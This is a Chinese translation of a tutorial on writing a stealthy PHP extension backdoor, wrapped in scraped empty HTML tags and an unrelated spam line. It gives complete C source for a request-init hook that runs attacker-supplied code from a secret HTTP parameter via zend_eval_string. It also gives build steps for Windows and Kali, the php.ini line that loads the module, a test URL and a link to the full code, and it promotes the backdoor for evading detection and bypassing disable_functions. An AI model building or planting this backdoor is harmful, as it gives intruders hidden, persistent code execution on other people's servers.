<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/3003

                    from:http://stackoff.ru/pishem-rasshirenie-bekdor-dlya-php/

                    0x00 前言


                    今天我們將討論編寫基于PHP擴展庫的后門。通常來說,大部分入侵者都會在腳本中留下自定義代碼塊后門。當然,這些東西很容易通過源代碼的靜態或動態分析找到。

                    利用PHP擴展庫的好處顯而易見:

                    很難尋找
                    繞過disable_functions選項 
                    有能力控制所有的代碼
                    訪問代碼執行的API
                    

                    但是我們需要有編輯PHP配置文件的能力。

                    0x01 細節


                    //【譯者注:用linux兩條命令搞定了,何必windows費這么大勁】 作為例子,我會用Windows來寫。寫擴展我用的Visual Studio 2012 Express版本。還需要的源代碼最新版本,編譯PHP庫(可從同一來源收集)。為簡單起見,我們需要是的php-5.5.15-Win32的VC11-86和源PHP-5.5.15-src.zip

                    解壓使用C編譯PHP:PHP,源代碼在C:PHP-SRC。

                    然后,你需要進行一些設置。

                    1)添加預處理器定義:

                    ZEND_DEBUG=0 
                    ZTS=1
                    ZEND_WIN32 
                    PHP_WIN32 
                    

                    enter image description here

                    預處理器定義 2)添加的目錄,用于連接源:

                    C: PHP-SRCmain
                    C: PHP-SRCend
                    C: PHP-SRCTSRM
                    C: PHP-SRC
                    egex
                    C: PHP-SRC 
                    

                    enter image description here

                    其他目錄連接

                    3)添加其他目錄中liboy php5ts.lib(C: PHP dev的)

                    enter image description here

                    其他目錄庫 4)添加連接庫php5ts.lib。

                    enter image description here

                    裝配額外的庫

                    5)指定收集文件的路徑。

                    enter image description here

                    保存配置文件 配置參數為Workspace擴展的開發后(詳情可以在http://blog.slickedit.com/2007/09/creating-a-php-5-extension-with-visual-c-2005/找到),創建一個新的項目類型后門“控制臺應用程序的Win32”。

                    enter image description here

                    在Visual StudioVyberem型“庫DLL?項目” 選擇合適類型

                    enter image description here

                    然后,從項目中刪除不必要的文件。應該只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。

                    在頭文件stdafx.h中 :

                    #pragma once
                    #ifndef STDAFX
                    #define STDAFX
                    #include "zend_config.w32.h" 
                    #include "php.h"
                    #endif
                    

                    現在,我們直接進入PHP擴展的代碼。刪除所有行,并添加所需的文件連接。

                    #include "stdafx.h"
                    #include "zend_config.w32.h"
                    #include "php.h"
                    

                    如果workspace設置已經正確,警告就會消失。 當模塊被初始化時,會有幾個事件,其中每一個都在特定條件下發生。我們需要在查詢執行時,去執行我們的代碼。要做到這一點,你必須初始化我們所需要的功能,我給它命名為?hideme?。 PHP_RINIT_FUNCTION(hideme); 然后你可以去看模塊的初始化。

                    zend_module_entry hideme_ext_module_entry = {
                        STANDARD_MODULE_HEADER,
                        "simple backdoor",
                        NULL,
                        NULL,
                        NULL,
                        PHP_RINIT(hideme),
                        NULL, 
                        NULL,
                        "1.0",
                        STANDARD_MODULE_PROPERTIES
                    };
                    ZEND_GET_MODULE(hideme_ext);
                    

                    在這篇文章中,我們只需要加載中代碼被執行即可,因此運行和卸載模塊由空取代。 現在,你可以去看hideme的函數體。

                    PHP_RINIT_FUNCTION(hideme)
                    {
                    
                        char* method = "_POST"; //超全局數組,從中我們采取perametr和價值   char* secret_string = "secret_string"; //參數,這將是運行的代碼    
                        //【譯者注:在原文作者的github代碼中method是get,secret_string是execute,請大家按照github代碼進行測試,不修改原文了】
                        zval** arr;
                        char* code;
                    
                        if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { 
                            HashTable* ht = Z_ARRVAL_P(*arr);
                            zval** val;
                            if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //查找散列表中所需的參數          
                        code =  Z_STRVAL_PP(val); //值
                        zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //代碼執行
                            }
                        }
                        return SUCCESS;
                    }
                    

                    注釋應該比較清楚。最初,我們設置HTTP方法和參數secret_string。然后再尋找正確的數組參數,如果有的話,我們就從它的值中取指令,并通過zend_eval_string執行代碼。 編譯后的所得,即可作為一個擴展庫。

                    下載源代碼

                    https://github.com/akamajoris/php-extension-backdoor

                    0x02 測試


                    //以下為譯者測試截圖:

                    enter image description here

                    http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();
                    

                    (因為原作者github代碼設置的是execute)

                    Linux編譯(kali)

                    apt-get install php5-dev
                    phpize && ./configure && make
                    

                    在kali下測試一遍成功,我比較懶,直接chmod后把so復制到/var/www了哈哈

                    然后php.ini加上

                    extension=/var/www/back.so
                    

                    重啟apache,測試成功

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频